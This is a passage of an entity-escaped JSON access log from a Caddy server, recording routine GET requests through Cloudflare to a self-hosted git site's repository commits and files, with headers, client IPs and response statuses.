request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.42.189\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11100\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.42.189\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/028ae12ea56077fb630bbf12ed46781db583fe2a/layouts/_default/baseof.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.239.187.90\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.239.187.90\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effb9b4a057f-IAD\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.065625343,\u0026#34;size\u0026#34;:352,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Last-Modified\u0026#34;:[\u0026#34;Thu, 24 Dec 2020 10:06:58 GMT\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;private, max-age=300\u0026#34;],\u0026#34;Content-Disposition\u0026#34;:[\u0026#34;inline; filename=\\\u0026#34;baseof.html\\\u0026#34;; filename*=UTF-8\u0026#39;\u0026#39;baseof.html\u0026#34;],\u0026#34;Content-Encoding\u0026#34;:[\u0026#34;gzip\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Access-Control-Expose-Headers\u0026#34;:[\u0026#34;Content-Disposition\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/plain; charset=utf-8\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Content-Type-Options\u0026#34;:[\u0026#34;nosniff\u0026#34;],\u0026#34;Etag\u0026#34;:[\u0026#34;\\\u0026#34;ce0ddae104d973c67c938411e1c9fc19c4f383ef-gzip\\\u0026#34;\u0026#34;],\u0026#34;Vary\u0026#34;:[\u0026#34;Accept-Encoding\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.2023957,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.79.51\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11567\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.79.51\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/commits/commit/dc680c3cf9a4de64facbb20355ae718e1a51adbb/simulator/bake\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effb9a9cd679-IAD\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.41.164.103\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.41.164.103\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.071713334,\u0026#34;size\u0026#34;:26876,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.2423117,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11416\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/compiler-lab/raw/commit/f9764c54da2bf5ed944b69de05030d407fd32a16/lab1/convert_test.go\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;140.99.218.213\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;MX\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbef97379d-DFW\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;140.99.218.213\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.088202332,\u0026#34;size\u0026#34;:1103,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;private, max-age=300\u0026#34;],\u0026#34;Last-Modified\u0026#34;:[\u0026#34;Sat, 25 Mar 2023 02:59:49 GMT\u0026#34;],\u0026#34;Content-Disposition\u0026#34;:[\u0026#34;inline; filename=\\\u0026#34;convert_test.go\\\u0026#34;; filename*=UTF-8\u0026#39;\u0026#39;convert_test.go\u0026#34;],\u0026#34;Etag\u0026#34;:[\u0026#34;\\\u0026#34;b4da01f8edc68fb19d2ea64add3fb0cdf169de00-gzip\\\u0026#34;\u0026#34;],\u0026#34;X-Content-Type-Options\u0026#34;:[\u0026#34;nosniff\u0026#34;],\u0026#34;Access-Control-Expose-Headers\u0026#34;:[\u0026#34;Content-Disposition\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/plain; charset=utf-8\u0026#34;],\u0026#34;Content-Encoding\u0026#34;:[\u0026#34;gzip\u0026#34;],\u0026#34;Vary\u0026#34;:[\u0026#34;Accept-Encoding\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.269168,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.210.233\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10408\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.210.233\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/92a6d71ce5d49583a8ad6ac0819cdbef740e6fe4/exampleSite/README.md\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;75.102.28.121\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effd19159b4a-HKG\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;JP\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;75.102.28.121\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.00977558,\u0026#34;size\u0026#34;:9325,\u0026#34;status\u0026#34;:404,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.327542,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11416\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.166.230\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/57bfea833850e0565cf81d9a26c52359427151a2/archetypes/tags.md\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.230.234.184\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.230.234.184\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effcdcf3e956-DFW\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Trailer/93.3.8652.5\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.013796775,\u0026#34;size\u0026#34;:9322,\u0026#34;status\u0026#34;:404,\u0026#34;resp_headers\u0026#34;:{\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4023278,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.115.160\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10314\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.115.160\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/f92fef3b51b8354ae8941280a43a2554c9646017/simulator/pybindgen-0.22.0/tox.ini\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;213.201.198.112\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;213.201.198.112\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbbf96dd82-EWR\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.26401861,\u0026#34;size\u0026#34;:30170,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4635193,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.38.6\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;14185\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.38.6\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ModelComputer/commits/commit/8f16f8e97d493fd4683831f95cd8825f4ea9f760/ALU\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.226.223.128\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc7d1c392b-IAD\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.226.223.128\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.195946316,\u0026#34;size\u0026#34;:26304,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4655995,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.194.111\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;14185\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.194.111\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/c41a3e0621b51c831804502d761b2ddd370ccd38/layouts/index.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;89.116.14.139\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc0c1cd6e8-IAD\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;89.116.14.139\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; 